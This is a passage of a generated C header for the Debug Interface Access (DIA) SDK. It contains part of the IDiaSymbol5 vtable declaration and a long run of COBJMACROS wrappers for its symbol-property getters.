/* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( IDiaSymbol5 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( IDiaSymbol5 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( IDiaSymbol5 * This, /* [retval][out] */ ULONGLONG *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( IDiaSymbol5 * This, /* [out] */ IDiaInputAssemblyFile **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( IDiaSymbol5 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( IDiaSymbol5 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noexcept )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAbsoluteAddress )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); END_INTERFACE } IDiaSymbol5Vtbl; interface IDiaSymbol5 { CONST_VTBL struct IDiaSymbol5Vtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaSymbol5_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaSymbol5_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaSymbol5_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaSymbol5_get_symIndexId(This,pRetVal) \ ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) #define IDiaSymbol5_get_symTag(This,pRetVal) \ ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) #define IDiaSymbol5_get_name(This,pRetVal) \ ( (This)->lpVtbl -> get_name(This,pRetVal) ) #define IDiaSymbol5_get_lexicalParent(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) #define IDiaSymbol5_get_classParent(This,pRetVal) \ ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) #define IDiaSymbol5_get_type(This,pRetVal) \ ( (This)->lpVtbl -> get_type(This,pRetVal) ) #define IDiaSymbol5_get_dataKind(This,pRetVal) \ ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) #define IDiaSymbol5_get_locationType(This,pRetVal) \ ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) #define IDiaSymbol5_get_addressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) #define IDiaSymbol5_get_addressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) #define IDiaSymbol5_get_relativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol5_get_virtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) #define IDiaSymbol5_get_registerId(This,pRetVal) \ ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) #define IDiaSymbol5_get_offset(This,pRetVal) \ ( (This)->lpVtbl -> get_offset(This,pRetVal) ) #define IDiaSymbol5_get_length(This,pRetVal) \ ( (This)->lpVtbl -> get_length(This,pRetVal) ) #define IDiaSymbol5_get_slot(This,pRetVal) \ ( (This)->lpVtbl -> get_slot(This,pRetVal) ) #define IDiaSymbol5_get_volatileType(This,pRetVal) \ ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) #define IDiaSymbol5_get_constType(This,pRetVal) \ ( (This)->lpVtbl -> get_constType(This,pRetVal) ) #define IDiaSymbol5_get_unalignedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) #define IDiaSymbol5_get_access(This,pRetVal) \ ( (This)->lpVtbl -> get_access(This,pRetVal) ) #define IDiaSymbol5_get_libraryName(This,pRetVal) \ ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) #define IDiaSymbol5_get_platform(This,pRetVal) \ ( (This)->lpVtbl -> get_platform(This,pRetVal) ) #define IDiaSymbol5_get_language(This,pRetVal) \ ( (This)->lpVtbl -> get_language(This,pRetVal) ) #define IDiaSymbol5_get_editAndContinueEnabled(This,pRetVal) \ ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) #define IDiaSymbol5_get_frontEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) #define IDiaSymbol5_get_frontEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) #define IDiaSymbol5_get_frontEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) #define IDiaSymbol5_get_backEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) #define IDiaSymbol5_get_backEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) #define IDiaSymbol5_get_backEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) #define IDiaSymbol5_get_sourceFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) #define IDiaSymbol5_get_unused(This,pRetVal) \ ( (This)->lpVtbl -> get_unused(This,pRetVal) ) #define IDiaSymbol5_get_thunkOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) #define IDiaSymbol5_get_thisAdjust(This,pRetVal) \ ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) #define IDiaSymbol5_get_virtualBaseOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) #define IDiaSymbol5_get_virtual(This,pRetVal) \ ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) #define IDiaSymbol5_get_intro(This,pRetVal) \ ( (This)->lpVtbl -> get_intro(This,pRetVal) ) #define IDiaSymbol5_get_pure(This,pRetVal) \ ( (This)->lpVtbl -> get_pure(This,pRetVal) ) #define IDiaSymbol5_get_callingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) #define IDiaSymbol5_get_value(This,pRetVal) \ ( (This)->lpVtbl -> get_value(This,pRetVal) ) #define IDiaSymbol5_get_baseType(This,pRetVal) \ ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) #define IDiaSymbol5_get_token(This,pRetVal) \ ( (This)->lpVtbl -> get_token(This,pRetVal) ) #define IDiaSymbol5_get_timeStamp(This,pRetVal) \ ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) #define IDiaSymbol5_get_guid(This,pRetVal) \ ( (This)->lpVtbl -> get_guid(This,pRetVal) ) #define IDiaSymbol5_get_symbolsFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) #define IDiaSymbol5_get_reference(This,pRetVal) \ ( (This)->lpVtbl -> get_reference(This,pRetVal) ) #define IDiaSymbol5_get_count(This,pRetVal) \ ( (This)->lpVtbl -> get_count(This,pRetVal) ) #define IDiaSymbol5_get_bitPosition(This,pRetVal) \ ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) #define IDiaSymbol5_get_arrayIndexType(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) #define IDiaSymbol5_get_packed(This,pRetVal) \ ( (This)->lpVtbl -> get_packed(This,pRetVal) ) #define IDiaSymbol5_get_constructor(This,pRetVal) \ ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) #define IDiaSymbol5_get_overloadedOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) #define IDiaSymbol5_get_nested(This,pRetVal) \ ( (This)->lpVtbl -> get_nested(This,pRetVal) ) #define IDiaSymbol5_get_hasNestedTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) #define IDiaSymbol5_get_hasAssignmentOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) #define IDiaSymbol5_get_hasCastOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) #define IDiaSymbol5_get_scoped(This,pRetVal) \ ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) #define IDiaSymbol5_get_virtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) #define IDiaSymbol5_get_indirectVirtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) #define IDiaSymbol5_get_virtualBasePointerOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) #define IDiaSymbol5_get_virtualTableShape(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) #define IDiaSymbol5_get_lexicalParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) #define IDiaSymbol5_get_classParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) #define IDiaSymbol5_get_typeId(This,pRetVal) \ ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) #define IDiaSymbol5_get_arrayIndexTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) #define IDiaSymbol5_get_virtualTableShapeId(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) #define IDiaSymbol5_get_code(This,pRetVal) \ ( (This)->lpVtbl -> get_code(This,pRetVal) ) #define IDiaSymbol5_get_function(This,pRetVal) \ ( (This)->lpVtbl -> get_function(This,pRetVal) ) #define IDiaSymbol5_get_managed(This,pRetVal) \ ( (This)->lpVtbl -> get_managed(This,pRetVal) ) #define IDiaSymbol5_get_msil(This,pRetVal) \ ( (This)->lpVtbl -> get_msil(This,pRetVal) ) #define IDiaSymbol5_get_virtualBaseDispIndex(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) #define IDiaSymbol5_get_undecoratedName(This,pRetVal) \ ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) #define IDiaSymbol5_get_age(This,pRetVal) \ ( (This)->lpVtbl -> get_age(This,pRetVal) ) #define IDiaSymbol5_get_signature(This,pRetVal) \ ( (This)->lpVtbl -> get_signature(This,pRetVal) ) #define IDiaSymbol5_get_compilerGenerated(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) #define IDiaSymbol5_get_addressTaken(This,pRetVal) \ ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) #define IDiaSymbol5_get_rank(This,pRetVal) \ ( (This)->lpVtbl -> get_rank(This,pRetVal) ) #define IDiaSymbol5_get_lowerBound(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) #define IDiaSymbol5_get_upperBound(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) #define IDiaSymbol5_get_lowerBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) #define IDiaSymbol5_get_upperBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) #define IDiaSymbol5_get_dataBytes(This,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) #define IDiaSymbol5_findChildren(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol5_findChildrenEx(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol5_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) \ ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) #define IDiaSymbol5_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) \ ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) #define IDiaSymbol5_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) \ ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) #define IDiaSymbol5_get_targetSection(This,pRetVal) \ ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) #define IDiaSymbol5_get_targetOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) #define IDiaSymbol5_get_targetRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol5_get_targetVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) #define IDiaSymbol5_get_machineType(This,pRetVal) \ ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) #define IDiaSymbol5_get_oemId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) #define IDiaSymbol5_get_oemSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) #define IDiaSymbol5_get_types(This,cTypes,pcTypes,pTypes) \ ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) #define IDiaSymbol5_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) \ ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) #define IDiaSymbol5_get_objectPointerType(This,pRetVal) \ ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) #define IDiaSymbol5_get_udtKind(This,pRetVal) \ ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) #define IDiaSymbol5_get_undecoratedNameEx(This,undecorateOptions,name) \ ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) #define IDiaSymbol5_get_noReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) #define IDiaSymbol5_get_customCallingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) #define IDiaSymbol5_get_noInline(This,pRetVal) \ ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) #define IDiaSymbol5_get_optimizedCodeDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) #define IDiaSymbol5_get_notReached(This,pRetVal) \ ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) #define IDiaSymbol5_get_interruptReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) #define IDiaSymbol5_get_farReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) #define IDiaSymbol5_get_isStatic(This,pRetVal) \ ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) #define IDiaSymbol5_get_hasDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) #define IDiaSymbol5_get_isLTCG(This,pRetVal) \ ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) #define IDiaSymbol5_get_isDataAligned(This,pRetVal) \ ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) #define IDiaSymbol5_get_hasSecurityChecks(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) #define IDiaSymbol5_get_compilerName(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) #define IDiaSymbol5_get_hasAlloca(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) #define IDiaSymbol5_get_hasSetJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) #define IDiaSymbol5_get_hasLongJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) #define IDiaSymbol5_get_hasInlAsm(This,pRetVal) \ ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) #define IDiaSymbol5_get_hasEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) #define IDiaSymbol5_get_hasSEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) #define IDiaSymbol5_get_hasEHa(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) #define IDiaSymbol5_get_isNaked(This,pRetVal) \ ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) #define IDiaSymbol5_get_isAggregated(This,pRetVal) \ ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) #define IDiaSymbol5_get_isSplitted(This,pRetVal) \ ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) #define IDiaSymbol5_get_container(This,pRetVal) \ ( (This)->lpVtbl -> get_container(This,pRetVal) ) #define IDiaSymbol5_get_inlSpec(This,pRetVal) \ ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) #define IDiaSymbol5_get_noStackOrdering(This,pRetVal) \ ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) #define IDiaSymbol5_get_virtualBaseTableType(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) #define IDiaSymbol5_get_hasManagedCode(This,pRetVal) \ ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) #define IDiaSymbol5_get_isHotpatchable(This,pRetVal) \ ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) #define IDiaSymbol5_get_isCVTCIL(This,pRetVal) \ ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) #define IDiaSymbol5_get_isMSILNetmodule(This,pRetVal) \ ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) #define IDiaSymbol5_get_isCTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) #define IDiaSymbol5_get_isStripped(This,pRetVal) \ ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) #define IDiaSymbol5_get_frontEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) #define IDiaSymbol5_get_backEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) #define IDiaSymbol5_get_wasInlined(This,pRetVal) \ ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) #define IDiaSymbol5_get_strictGSCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) #define IDiaSymbol5_get_isCxxReturnUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) #define IDiaSymbol5_get_isConstructorVirtualBase(This,pRetVal) \ ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) #define IDiaSymbol5_get_RValueReference(This,pRetVal) \ ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) #define IDiaSymbol5_get_unmodifiedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) #define IDiaSymbol5_get_framePointerPresent(This,pRetVal) \ ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) #define IDiaSymbol5_get_isSafeBuffers(This,pRetVal) \ ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) #define IDiaSymbol5_get_intrinsic(This,pRetVal) \ ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) #define IDiaSymbol5_get_sealed(This,pRetVal) \ ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) #define IDiaSymbol5_get_hfaFloat(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) #define IDiaSymbol5_get_hfaDouble(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) #define IDiaSymbol5_get_liveRangeStartAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) #define IDiaSymbol5_get_liveRangeStartAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) #define IDiaSymbol5_get_liveRangeStartRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol5_get_countLiveRanges(This,pRetVal) \ ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) #define IDiaSymbol5_get_liveRangeLength(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) #define IDiaSymbol5_get_offsetInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) #define IDiaSymbol5_get_paramBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol5_get_localBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol5_get_isLocationControlFlowDependent(This,pRetVal) \ ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) #define IDiaSymbol5_get_stride(This,pRetVal) \ ( (This)->lpVtbl -> get_stride(This,pRetVal) ) #define IDiaSymbol5_get_numberOfRows(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) #define IDiaSymbol5_get_numberOfColumns(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) #define IDiaSymbol5_get_isMatrixRowMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) #define IDiaSymbol5_get_numericProperties(This,cnt,pcnt,pProperties) \ ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) #define IDiaSymbol5_get_modifierValues(This,cnt,pcnt,pModifiers) \ ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) #define IDiaSymbol5_get_isReturnValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) #define IDiaSymbol5_get_isOptimizedAway(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) #define IDiaSymbol5_get_builtInKind(This,pRetVal) \ ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) #define IDiaSymbol5_get_registerType(This,pRetVal) \ ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) #define IDiaSymbol5_get_baseDataSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) #define IDiaSymbol5_get_baseDataOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) #define IDiaSymbol5_get_textureSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) #define IDiaSymbol5_get_samplerSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) #define IDiaSymbol5_get_uavSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) #define IDiaSymbol5_get_sizeInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) #define IDiaSymbol5_get_memorySpaceKind(This,pRetVal) \ ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) #define IDiaSymbol5_get_unmodifiedTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) #define IDiaSymbol5_get_subTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) #define IDiaSymbol5_get_subType(This,pRetVal) \ ( (This)->lpVtbl -> get_subType(This,pRetVal) ) #define IDiaSymbol5_get_numberOfModifiers(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) #define IDiaSymbol5_get_numberOfRegisterIndices(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) #define IDiaSymbol5_get_isHLSLData(This,pRetVal) \ ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) #define IDiaSymbol5_get_isPointerToDataMember(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) #define IDiaSymbol5_get_isPointerToMemberFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) #define IDiaSymbol5_get_isSingleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) #define IDiaSymbol5_get_isMultipleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) #define IDiaSymbol5_get_isVirtualInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) #define IDiaSymbol5_get_restrictedType(This,pRetVal) \ ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) #define IDiaSymbol5_get_isPointerBasedOnSymbolValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) #define IDiaSymbol5_get_baseSymbol(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) #define IDiaSymbol5_get_baseSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) #define IDiaSymbol5_get_objectFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) #define IDiaSymbol5_get_isAcceleratorGroupSharedLocal(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) #define 